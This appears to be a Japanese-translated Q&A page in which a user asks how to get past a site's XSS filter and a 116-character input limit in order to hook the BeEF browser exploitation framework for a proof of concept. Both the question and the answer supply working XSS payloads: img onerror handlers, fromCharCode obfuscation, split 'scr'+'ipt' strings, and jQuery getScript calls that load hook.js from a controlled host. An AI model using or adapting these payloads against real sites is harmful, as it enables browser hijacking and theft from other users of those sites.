web-dev-qa-db-ja.com

BeEFをフックするXSSフィルターバイパス

XSSをトリガーできる脆弱性をWebサイトに見つけました。これは非常に特有の脆弱性であり、設計上の欠陥が原因です。彼らのためにPoCを書きたいのですが、この段階で行き詰まっています。

XSSペイロードはURLを介して配信されず、データベースに格納されません。つまり、永続的XSSでも反射的XSSでもありません。攻撃者はペイロードをボックスに入力し、特定のIDを変更して、そのWebサイトの別のユーザーに送信する必要があります。

とにかく、私の質問。 XSSをフィルターしますが、このバイパスはフィルターをバイパスできるため、十分ではありません。

_<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
_

問題は、この特定のフィルターを使用してBeEFをフックする方法です。私は試した:

_<IMG SRC=/ onerror="document.write(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 32, 115, 114, 99, 61, 34, 49, 50, 55, 46, 48, 46, 48, 46, 49, 58, 51, 48, 48, 48, 47, 104, 111, 111, 107, 46, 106, 115, 34, 62, 60, 47, 115, 99, 114, 105, 112, 116, 62))"></img>
_

しかし、そのペイロードはクリーンに配信されないため、他の多くのHTMLが混在しています。 XSSフィルターをバイパスしてBeEFをフックする方法を説明する記事がすでにあるかどうかも検索しましたが、何も見つかりませんでした。

だから私の質問、XSSフィルターをバイパスしてBeEFをフックできるようにする方法はありますか?私は XSSをバイパスする方法 を尋ねているのではなく、BeEFのhook.js`ファイルを含めたい状況で尋ねています。

編集1:余分な問題、ボックスに入力できるのは正確に116文字だけです。 JavaScriptをそれほど短くするのに問題はないと思いますか?また、「たくさんのHTMLが混在している」というのは、他の長い文字列を入力すると、ボックスがHTMLコードの一部を「吸収」したということです。また、window.open()関数を使用して、フックを含むWebサイトを新しいウィンドウまたはタブなどで開くことも満足します。

編集2:次のコードを使用して、新しいタブで新しいURLを開く方法を見つけました:<img src="/" onerror="window.open('http://127.0.0.1:3000/hook.js', '_blank')">ただし、ユーザーポップアップがブロックされたという警告を受け取り、それを許可すると、すぐにそのタブにフォーカスが移ります。これはPoCを満たしますか?それとも誰かがより良い解決策を持っていますか?

4
O'Niel

元のバージョン

イベントでdocument.writeを使用すると、ページが読み込まれた(つまり閉じられた)後にイベントが発生するという問題が発生する可能性があります。これは、ブラウザが ドキュメントを消去 し、新しい空白のページを開始するためです。 「ペイロードがクリーンに配信されないため、結果として他の多くのHTMLが混在する」とはどういう意味か理解できませんが、これが問題である可能性があります。

その場合は、これを(改行とコメントを除いて)ペイロードとして使用してみてください。

var x = document.createElement(String.fromCharCode(115, 99, 114, 105, 112, 116)); // "script"
x.src = String.fromCharCode(49, 50, 55, 46, 48, 46, 48, 46, 49, 58, 51, 48, 48, 48, 47, 104, 111, 111, 107, 46, 106, 115); // "127.0.0.1:3000/hook.js" - Might not need to be obfuscated?
document.body.appendChild(x);

this の回答に基づいています。

短いバージョン

読みやすくするために空白を含めてこれらを記述しますが、これらはもちろん削除できます。 scriptを使用したため、単語fromCharCodeのみがフィルタリングされていると思います。さらにフィルタリングされている場合は、これらを少し変更する必要があるかもしれませんが、少し余裕があります。

Alt 1(94文字)

y = document;
x = y.createElement("scr" + "ipt");
x.src = "127.0.0.1:3000/hook.js";
y.body.appendChild(x)

<および>なしでscriptが問題ない場合は、"+"を削除することでいくつかの特性を得ることができます。

Alt 2(jQuery付き、43文字)

$["getScr"+"ipt"]("127.0.0.1:3000/hook.js")

繰り返しますが、scriptがOKの場合、37文字まで取得できます。

$.getScript("127.0.0.1:3000/hook.js")
5
Anders